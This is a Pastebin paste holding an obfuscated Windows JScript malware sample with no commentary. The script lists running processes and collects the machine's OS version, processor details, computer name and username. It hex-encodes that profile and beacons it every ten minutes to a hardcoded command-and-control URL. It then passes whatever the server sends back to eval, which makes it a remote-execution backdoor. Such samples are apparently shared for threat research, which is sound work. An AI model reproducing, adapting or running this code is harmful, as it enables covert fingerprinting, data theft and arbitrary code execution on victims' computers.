Advertisement
Racco42

Untitled

Jun 26th, 2017
1,435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function AcVNaMUDPR2() {
  2.     var AcVNaMUDPR3 = new ActiveXObject('MSXML2.XMLHTTP');
  3.     AcVNaMUDPR3.onreadystatechange = function() {
  4.         if (AcVNaMUDPR3.readyState == 4 && AcVNaMUDPR3.status == 200) {
  5.             if (AcVNaMUDPR3.responseText.length != 0) {
  6.                 var AcVNaMUDPR4 = AcVNaMUDPR3.responseText;
  7.                 eval(AcVNaMUDPR4.replace("open", bbefxfS1));
  8.             };
  9.         };
  10.     };
  11.     AcVNaMUDPR3.open('GET', huebeCRicsFsx + '?cmd=r&group=' + bbefxfS1 + '&rnd=' + Math.random(), false);
  12.     AcVNaMUDPR3.send();
  13. };
  14.  
  15. var bbefxfS = "";
  16. var bbefxfS8 = "";
  17.  
  18. try {
  19.     var AcVNaMUDPR = GetObject("winMgmts:");
  20.     var hIIbMeyv = new Enumerator(AcVNaMUDPR.ExecQuery("SELECT * FROM Win32_Process"));
  21.     var qjlskqyIvrhWtcK = 0;
  22.     var bbefxfS7 = "";
  23.     while (!hIIbMeyv.atEnd()) {
  24.         bbefxfS7 = hIIbMeyv.item();
  25.         bbefxfS8 = bbefxfS8 + bbefxfS7.Name + ";";
  26.         if (bbefxfS7.Name == "wscript.exe") {
  27.             qjlskqyIvrhWtcK++;
  28.         };
  29.         hIIbMeyv.moveNext();
  30.     };
  31.     if (qjlskqyIvrhWtcK != 1) {
  32.         WScript.Quit();
  33.     };
  34.  
  35.     var PFXEwnLeV = new Enumerator(AcVNaMUDPR.ExecQuery("Select Version from Win32_OperatingSystem"));
  36.     var QZlmXCwiUHytq = PFXEwnLeV.item();
  37.     bbefxfS = QZlmXCwiUHytq.Version;
  38. } catch (KxQdAAxpfuUBIF) {
  39. };
  40.  
  41. var KxQdAAxpfuUBIF  = new ActiveXObject('WScript.Shell');
  42. var EsxDEJBggJb  = 600000;
  43. var huebeCRicsFsx  = "http://www.elitefund.com/r6.php";
  44. var bbefxfS1 = "VS";
  45.  
  46. var bbefxfS2 = KxQdAAxpfuUBIF.ExpandEnvironmentStrings("%PROCESSOR_REVISION%%PROCESSOR_ARCHITECTURE%%COMPUTERNAME%%USERNAME%");
  47. bbefxfS2 += bbefxfS;
  48. var bbefxfS3 = "";
  49. for (var bbefxfS4 = 0; bbefxfS4 < bbefxfS2.length; bbefxfS4++) {
  50.     bbefxfS3 += bbefxfS2.charCodeAt(bbefxfS4).toString(16);
  51. };
  52. var AcVNaMUDPR0 = true;
  53. while(true) {
  54.     try {
  55.         var bbefxfS6 = new ActiveXObject('MSXML2.XMLHTTP');
  56.         bbefxfS6.onreadystatechange = function() {
  57.             if (bbefxfS6.readyState == 4 && bbefxfS6.status == 200) {
  58.                 if (bbefxfS6.responseText.length != 0) {
  59.                     var AcVNaMUDPR1 = bbefxfS6.responseText;
  60.                     eval(AcVNaMUDPR1.replace("open", bbefxfS1));
  61.                     if (AcVNaMUDPR0) {
  62.                         AcVNaMUDPR2();
  63.                         AcVNaMUDPR0 = false;
  64.                     };
  65.                 };
  66.             };
  67.     };
  68.     bbefxfS6.open('GET', huebeCRicsFsx + '?cmd=p&id=' + bbefxfS3 + '&group=' + bbefxfS1 + '&os=' + bbefxfS + "&processes=" + bbefxfS8 + '&rnd=' + Math.random(), false);
  69.     bbefxfS6.send();
  70.     delete bbefxfS6;
  71.     WScript.Sleep(EsxDEJBggJb);
  72.     bbefxfS8 = "";
  73.     } catch (e) {
  74.     };
  75. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement